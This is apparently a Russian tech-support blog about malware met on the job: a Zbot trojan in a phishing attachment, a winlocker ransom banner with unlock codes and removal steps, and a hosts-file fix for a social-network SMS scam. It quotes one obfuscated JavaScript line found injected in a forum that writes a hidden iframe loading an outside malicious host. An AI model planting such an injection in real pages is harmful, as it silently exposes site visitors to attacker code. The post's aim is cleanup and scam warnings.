Список файлов и результатов, содержавшихся в архивах, приведен ниже:

ID файла Имя файла Объем (байты) Результат
26327090 USChamber.exe 24 KB MALWARE
26327636 4E5BB74DB46CB0FBBA09...C0 169 KB MALWARE
26327637 5892BF0C0804B8C57F9A...7B 169 KB MALWARE


Точные результаты по каждому файлу вы найдете в следующем разделе:

Имя файла Результат
USChamber.exe MALWARE

Файл 'USChamber.exe' отмечен как 'MALWARE'.Наши аналитики присвоили этой угрозе название TR/Spy.Zbot.WX.Относительно "TR/" речь идет о троянском коне, который в состоянии заполучит ваши данные, нарушить вашу частную сферу и производить нежелательные изменения системы.Образец распознавания будет добавлен при одном из следующих обновлений файла определения вирусов (VDF).

Вы также можете просмотреть результаты анализа по следующему адресу:
http://analysis.avira.com/samples/details.php?uniq...hpZVtJrT8RAL&incidentid=846725

Zusдtzlich finden Sie eine Ьbersicht aller Einsendungen hier:
http://analysis.avira.com/samples/details.php?uniq...jzPZmK1EEkZqUgj0D9hpZVtJrT8RAL


Примечание: Пожалуйста, обращайтесь со специфичными вопросами по адресу support@avira.com

С уважением,
Лаборатория анализа вирусов Avira

---------------------------------------------
Avira Operations GmbH & Co. KG
Kaplaneiweg 1, 88069 Tettnang, Германия
Телефон: +49 (0) 7542-500 0
Факс: +49 (0) 7542-525 10
Адрес в интернете: http://www.avira.com

Коммерческий директор: Тьярк Ауэрбах
Место нахождения: Г. Теттнанг
Торговый реестр: суд низшей инстанции г. Ульм HRB 630992
---------------------------------------------

Получил письмо якобы от компании U.S. Chamber of commerce official letter с вот таким содержанием и прикрепленным архивом, в котором находится exe файлик

Hello,

On the advice of your partners, we are sending you this letter. In the attached file you will find the offer of cooperation and common development of adjacent areas of our business. Thank you for your attention.

Удивился, что ни один из топовых антивирусов его не видит как вирус, хотя он таковым является(проверил что он делает в виртуальной среде XP под Ubuntu), опять отправил файлик в Avira

Буду ждать ответа)

Итак, сегодня нашел вирусный код на форуме заказчика, замечу что нашли мы его не сразу, поэтому наши поиски были даже в какой то мере интересны, итак на начальном этапе мы имели форум на IPB и доступ к нему через фтп(по защищенным протоколам и firewall с правилами по IP). Так же имелись жалобы со стороны пользователей на появляющиеся сообщения о вирусах.
Проверка несколькими антивирусами показала, что Kaspersky, Avast, и даже NOD32 - видят вредоносные ссылки, в свою очередь к сожалению Avira их не увидела =\\

javascript в файлах с маской *global*.js

document.write('<i'+'frame sr'+'c="http://filtrated.in/wu5y3/07.php" width="0" height="0" frameborder="0">'+'</'+'ifram'+'e>');

скриншот


инфицированная ссылка типа *.in/topic.php?b=486def4

Замечен в интернете 8 мая 2011 года

Ну чтож, столкнулся, опять же по работе, с таким вот баннером.

ВНИМАНИЕ!!!
Ваша операционная система заблокирована за нарушение использования сети интернет.
Обнаружены следующие нарушения: Посещение сайтов порнографического содержания
с элементами детской порнографии, насилия, зоофилии. Хранение видеофайлов
содержащих порновидео с присутствием несовершеннолетних, насилием, зоофилией и т.п.

Данная блокировка предпринята для устранения возможности распространения
данных материалов с Вашего ПК в сети Интернет.
Для того что бы убрать данный вид блокировки вам нужно:

Пополнить счет абонента БИЛАЙН № 89653662764 на сумму 400 рублей
После оплаты, на выданном терминалом чеке оплаты, Вы найдете код,
который необходимо ввести в поле, расположенное ниже

По завершению оплаты, на выданном чеке оплаты, Вам будет выдан код разблокировки
который необходимо ввести в форму расположенную ниже. После разблокировки
системы, Вам необходимо удалить все незаконно размещенные материалы на Вашем ПК.

В случае отказа от оплаты, в следствии нарушений - все данные на Вашем ПК будут
уничтожены без возможности восстановления, т.к. ваш ПК является угрозой для сети!!!

Dr.Web назвал данного трояна как Trojan.Winlock.2354 и предоставил коды для разблокировки:

!48950345!
#73736640#

А вот кучка кодов разблокировки от Касперского:

443309556
$1100668395$
$30293E09&
$20683054%
%10923810%
~2058205~
(30958374)
$73747589$
^77723094^
!48950345!
@34208923@
?10298012?
418116239917720
558194942536937
6355961531994
54347317309880
306553804289
059101159381545
мушкет
7501961934276
905312504637
30660439901829709
169905035983413
42159127039382
15088969189682
89856085113988
7282561484488
681896525
чупакабра
трататушечки
курвинаро
2393911249933
276123808945
2114725738
35113365484
41570
31482
6813331
238851
61718337
757311
1296613
герболай
179452282
11724208
15339665
31990424
31106493
21311570
516999
17875334
22900800
11451906
92716667
53724259
3237870
9209342
7719090a
11106023
82387662
7719090
312470
21886388
77363000
62152745
97874521
44215407
42400127
54549817
43817218
14118095
68128579
31182772
ixceBnPA
64482142
43136272
11599020
+9999999
5000499544
403956320
xxHDNjGN
CIWLXyso
mXQHRAJN
rerxSOFk
CImmgmew
NBokoQty
heABfoIJ
wwVWgWIH
flKkzZwo
whUOdsCG
DUcUySOq
ZcCySwzr
XboTlVFb
svNJKcHY
MDUyyYTi
mggyVijJ
sxkgbtBX
OsjPoHWa
MPOKeEdi
OcJFxXhE
imnUBdrM
YtluQdge
qCtryJVM
YglWFrVO
04957625564
555666777333
лето на дворе
8013328883
965832471
арбузяка
я не пидор
килиманжаро
герметично
вазасцветами
гидромашина
невалид
меломорэ
кукурекушки
тратататака
нихуясебебля
психоебанат
нетнетнетда
диссекрето
хероводород
хреновище
пергамент
баранкин
явшокебля
говнище
говнобачище
гугудука
партизано
гореодмин
мухоцэкотухо
говнобак
беллисиммо
сыробериежка
геликоптер
херухуйа
барахата
тримотобляха
картофан
караматабука
беззакуси
зинунина
беспонтовщина
голодовка
селедочка
долбоящер
инферно
вильгельм
чупакабра
автоматизация
манипулятор
боржоми
горилка
гнилозуб
казибожка внимание: перед словом пробел
наживка
червячек
килька
пирожок
гудрончик
трататушечки
галактика
трататушки
головяшка
перелет
герболай
гуркуль
барабан
велосипед
бубльгум
трахома
кулебяка
драндулет
лесопед
потомучто
белиссимо
кассета
скотч
бегемот
билетов нет
киргуда
кандагар
бумбокс
дирижабль
телевизер
терасса
нофелет
тарабум
герой дня
спектакль
белеберда
перегар
гуливер
кукушка
гардина
квазимодо
герасим
солнышко
мотоблок
геродот
козявочка
штиблеты
козявка
жопа бля
беломор
кокошник
мультифрукт
дуремар
а мы не пьем
гуталин
семерочка
фисташка
нажми на газ
не тормози
отдых на природе
сметанка
гондурас
привет пидоры
биокефир
пошли в баню
гуси лебеди
нет гомосекам
привет июнь
найди себе бабу
У данного блокера нет кода разблокировки. Через 25 часов он деактивируется. Вы можете перевести часы из BIOS.

И вот вам инструкция по удалению данного баннера в случае если ни какой из этих кодов вам не подошел:
Попробуйте загрузить компьютер через безопасный режим, для этого:
1. Перезагрузите компьютер и постоянно жмите клавишу на клавиатуре "F8".
2. Вам будет предложено выбрать вариант загрузки Windows, выберите "Безопасный режим с загрузкой сетевых драйверов"

Вот тут есть несколько вариантов:
Загружается безопасный режим
1. Появляется окно в котором спрашивается загрузить безопасный режим или же вы предпочитаете восстановить систему, в котором вы нажмете "Нет" и выберете контрольную точку где то до даты когда появился у вас данный баннер, после восстановления системы компьютер перезагрузится и баннер исчезнет.
Не загружается безопасный режим - появляется синий экран или просто компьютер уходит на перезагрузку
1. Вам понадобится LiveCD - который вы либо попросите у своего знакомого, либо купите чистый диск и запишите на него LiveCD (скачать его можно на разных трекерах - выбрать например какой вам покажется удобней, либо можно скачать с сайта Dr.Web'а)
2. Загрузить компьютер с LiveCD
Для этого вам нужно будет вставить диск и Зайти в BIOS где изменить первичную загрузку на CD-ROM
(кучка инструкций в интернете )
3. в LiveCD обычно встроен специальный редактор регистра - найдите и запустите его.
4. HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows NT -> CurrentVersion -> Winlogon
5. Посмотрите что указано в Shell (если там не explorer.exe, то там будет ссылка корня зла, т.е до самого баннера - запишите куда нибудь и измените значение на "explorer.exe" без ковычек)
6. Сохраните изменения.
7. Пройдите по ранее записанному пути и удалите "корень зла".
8. Перезагрузите компьютер.
9. Выполните 2й шаг наоборот, т.е переключите первичную загрузку на жесткий диск.
10. Сохраните изменения и снова перезагрузите.

Ну вот вроде бы и все - писал на скорую руку, но вроде бы все написал.

Давно задумывал все таки описывать некоторые моменты своей деятельности... нет нет, я не делаю эти вирусы, трояны, баннеры - я их отключаю. Я привык и отношусь к ним очень спокойно.
Буду записывать способы устранения определенных вирусов и возможные способы устранения.

ВНИМАНИЕ!
НИ КОГДА НЕ ОТПРАВЛЯЙТЕ СМС НА КОРОТКИЙ НОМЕР ПО ПРОСЬБЕ ТАКИХ БАННЕРОВ!
ЕСЛИ ВАС ПРОСЯТ ЗАПЛАТИТЬ НА ТАКОЙ ТО НОМЕР И НА ЧЕКЕ БУДЕТ КОД АКТИВАЦИИ - ЭТО ЛОХОТРОН!
АНТИВИРУСЫ НЕ ПРОСЯТ ОТПРАВИТЬ СМС НА КАКОЙ ЛИБО НОМЕР!
ОДНОКЛАССНИКИ И ВКОНТАКТЕ НИ КОГДА НЕ ЗАСТАВЛЯЮТ ОТПРАВИТЬ СМС!
ЛЮБЫЕ БАННЕРЫ ПОПАВШИЕ НА КОМПЬЮТЕР МОЖНО УБРАТЬ БЕЗ ОТПРАВКИ СМС!
ЛУЧШЕ ПОПРОСИТЬ ПОМОЩИ У ЗНАЮЩИХ ЛЮДЕЙ, ЧЕМ ОТПРАВЛЯТЬ СМС!
ЦЕНА СМС КОЛЕБЛЕТСЯ В ОСНОВНОМ ОКОЛО 300 РУБЛЕЙ!
да и много чего еще можно сказать...


А теперь вирус который я устранял сегодня - "Блокировка аккаунта на одноклассниках, вконтакте и возможно еще что то, видел бы - сказал бы точнее..."
Точного текста указать не могу, т.к вся моя помощь состоялась по телефону.
Что то в этом роде:
"Для разблокировки аккаунта Вам необходимо отправить SMS с текстом на номер 6681"

Устранение данного "казуса" для Windows XP достаточно просто.
1. Открыть C:\WINDOWS\system32\drivers\etc
2. Открыть блокнотом файл hosts
3. Нажмите Ctrl+A (Для того чтобы выделить весь текст в блокноте) и нажмите Del (Delete)
4. Вставьте:

# (C) Корпорация Майкрософт (Microsoft Corp.), 1993-1999
#
# Это образец файла HOSTS, используемый Microsoft TCP/IP для Windows.
#
# Этот файл содержит сопоставления IP-адресов именам узлов.
# Каждый элемент должен располагаться в отдельной строке. IP-адрес должен
# находиться в первом столбце, за ним должно следовать соответствующее имя.
# IP-адрес и имя узла должны разделяться хотя бы одним пробелом.
#
# Кроме того, в некоторых строках могут быть вставлены комментарии
# (такие, как эта строка), они должны следовать за именем узла и отделяться
# от него символом '#'.
#
# Например:
#
# 102.54.94.97 rhino.acme.com # исходный сервер
# 38.25.63.10 x.acme.com # узел клиента x

127.0.0.1 localhost

5. Сохраните и закройте файл, проверьте заработало или нет - здесь у звонящего мне человека все заработало.
6. Если вы вводили логин и пароль на страницы на которых были такие сообщения - советую сменить пароли на этих сайтах, т.к скорее всего ваш логин и пароль вы отправили мошенникам.
7. Перезагрузить компьютер.
Если вам не удалось устранить таким способом такой вирус - пишите, постараюсь вам помочь